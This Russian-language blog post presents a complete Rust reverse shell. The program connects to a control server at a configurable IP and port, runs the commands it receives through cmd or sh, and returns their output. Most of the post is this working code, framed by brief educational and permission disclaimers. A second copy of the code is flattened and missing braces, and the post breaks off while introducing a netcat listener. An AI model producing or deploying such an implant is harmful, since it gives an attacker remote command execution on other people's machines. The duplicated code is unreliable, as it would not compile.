Главная страница » Блог » Простой реверс-шелл на Rust

Простой реверс-шелл на Rust

Mikhail Tarasov
2 июля, 2024

Создание реверс-шелла является потенциально опасной деятельностью и может использоваться в незаконных целях. Тем не менее, понимание того, как его создать, может быть важным для профессионалов в области безопасности для тестирования систем на уязвимости и разработки контрмер.

Приведу пример простого реверс-шелла на Rust, который будет пытаться подключиться к заданному IP-адресу и порту, и после подключения выполнить системные команды, переданные удаленным пользователем. Обратите внимание, что данный код предназначен только для образовательных целей и не должен использоваться без четкого разрешения на всех этапах его эксплуатации.

use std::net::{TcpStream};
use std::process::{Command, Stdio};
use std::io::{self, Read, Write};
use std::str;
fn main() {
    let remote_ip = "127.0.0.1"; // IP-адрес управляющего сервера
    let port = "4444"; // Порт управляющего сервера
    match TcpStream::connect(format!("{}:{}", remote_ip, port)) {
        Ok(mut stream) => {
            println!("Успешно подключено к {}:{}", remote_ip, port);
            
            loop {
                let mut command = String::new();
                let mut buffer = [0; 1024];
                // Читаем команду от сервера
                match stream.read(&mut buffer) {
                    Ok(size) => {
                        command.push_str(str::from_utf8(&buffer[..size]).unwrap());
                    },
                    Err(e) => {
                        println!("Ошибка при чтении команды: {}", e);
                        return;
                    }
                };
                if command.is_empty() {
                    continue;
                }
                println!("Выполняется команда: {}", command);
                // Обрабатываем команду выполнения
                let output = if cfg!(target_os = "windows") {
                    Command::new("cmd")
                        .args(&["/C", &command])
                        .stdout(Stdio::piped())
                        .stderr(Stdio::piped())
                        .output()
                } else {
                    Command::new("sh")
                        .arg("-c")
                        .arg(&command)
                        .stdout(Stdio::piped())
                        .stderr(Stdio::piped())
                        .output()
                };
                // Отправляем результат обратно на сервер
                match output {
                    Ok(output) => {
                        if let Err(e) = stream.write(&output.stdout) {
                            println!("Ошибка при отправке stdout: {}", e);
                        }
                        if let Err(e) = stream.write(&output.stderr) {
                            println!("Ошибка при отправке stderr: {}", e);
                        }
                    }
                    Err(e) => {
                        let err_msg = format!("Ошибка при выполнении команды: {}", e);
                        if let Err(e) = stream.write(err_msg.as_bytes()) {
                            println!("Ошибка при отправке сообщения об ошибке: {}", e);
                        }
                    }
                }
            }
        },
        Err(e) => {
            println!("Не удалось подключиться: {}", e);
        }
    }
}

use std::net::{TcpStream};

use std::process::{Command, Stdio};

use std::io::{self, Read, Write};

use std::str;

fn main() {

let remote_ip = "127.0.0.1"; // IP-адрес управляющего сервера

let port = "4444"; // Порт управляющего сервера

match TcpStream::connect(format!("{}:{}", remote_ip, port)) {

Ok(mut stream) => {

println!("Успешно подключено к {}:{}", remote_ip, port);

loop {

let mut command = String::new();

let mut buffer = [0; 1024];

// Читаем команду от сервера

match stream.read(&mut buffer) {

Ok(size) => {

command.push_str(str::from_utf8(&buffer[..size]).unwrap());

Err(e) => {

println!("Ошибка при чтении команды: {}", e);

return;

}

};

if command.is_empty() {

continue;

}

println!("Выполняется команда: {}", command);

// Обрабатываем команду выполнения

let output = if cfg!(target_os = "windows") {

Command::new("cmd")

.args(&["/C", &command])

.stdout(Stdio::piped())

.stderr(Stdio::piped())

.output()

} else {

Command::new("sh")

.arg("-c")

.arg(&command)

.stdout(Stdio::piped())

.stderr(Stdio::piped())

.output()

};

// Отправляем результат обратно на сервер

match output {

Ok(output) => {

if let Err(e) = stream.write(&output.stdout) {

println!("Ошибка при отправке stdout: {}", e);

}

if let Err(e) = stream.write(&output.stderr) {

println!("Ошибка при отправке stderr: {}", e);

}

Err(e) => {

let err_msg = format!("Ошибка при выполнении команды: {}", e);

if let Err(e) = stream.write(err_msg.as_bytes()) {

println!("Ошибка при отправке сообщения об ошибке: {}", e);

}

Err(e) => {

println!("Не удалось подключиться: {}", e);

}

Этот код представляет собой базовую реализацию реверс-шелла. Он пытается установить соединение с сервером управления, читает команды от этого сервера, выполняет их в локальной среде и отправляет результаты обратно.

Важно:

Всегда получайте четкое разрешение на использование таких инструментов в сетях или на компьютерах, которые не принадлежат вам.
Приведенный выше код не содержит функций обфускации и шифрования, которые могут быть необходимы для обеспечения безопасности и конфиденциальности в реальных условиях.
Ответственность за использование данного кода лежит на пользователе.

Чтобы данный пример заработал, необходимо на удаленном компьютере запустить слушающий сокет, который сможет принимать входящие подключения и отправлять команды, например, с помощью утилиты netcat: